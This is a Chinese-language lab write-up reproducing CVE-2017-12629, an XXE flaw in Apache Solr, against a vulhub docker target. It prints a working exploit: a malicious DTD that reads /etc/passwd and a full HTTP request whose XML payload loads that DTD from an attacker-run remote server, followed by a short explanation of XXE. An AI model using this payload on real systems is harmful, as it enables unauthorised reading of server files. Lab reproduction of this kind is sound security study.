漏洞复现-CVE-2017-12629-RCE-solr:XXE

 
 
 
 
 
 
 

0x00 实验环境

攻击机:Win 10、Win Server 2012 R2

靶机:Ubuntu18 (docker搭建的vulhub靶场)

0x01 影响版本

Apache Solr < 7.1
Apache Lucene < 7.1

注:在Solr管理后台Dashboard仪表盘中,可查看当前Solr的版本信息。

0x02 实验步骤

我们打开漏洞环境,可以发现是这样的页面:

 这样的页面可以联想到远程代码执行:

 复现只需要两步:

(1)在自己的远程服务器上win server 2012R2 上搭建一个网站,使用phpstudy即可,然后在www目录下新建一个文档1.dtd,名字可以自取

在1.dtd内写入如下内容:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

 (2)回到web页面,在主页刷新后进行抓包,修改部分参数即可达到XXE外部实体代码执行的操作

GET /solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f(你的远程服务器IP)%2f(dtd文件的名字).dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1
Host:your-ip:8983
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2

以上为我复现成功的请求报文

成功读取到/etc/passwd的内容

将以上q的内容进行URL解码为以下内容,可由此构造payload

<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://your-ip/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser

 

0x04 实验原理

首先,需要了解XXE的概念:

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造任意payload,导致可读取任意文件、命令执行、探测内网信息、攻击内网网站等危害。

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。

主要有两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

详情请参考这篇文章:

https://blog.csdn.net/csacs/article/details/88220227

原文地址:https://www.cnblogs.com/cute-puli/p/13340249.html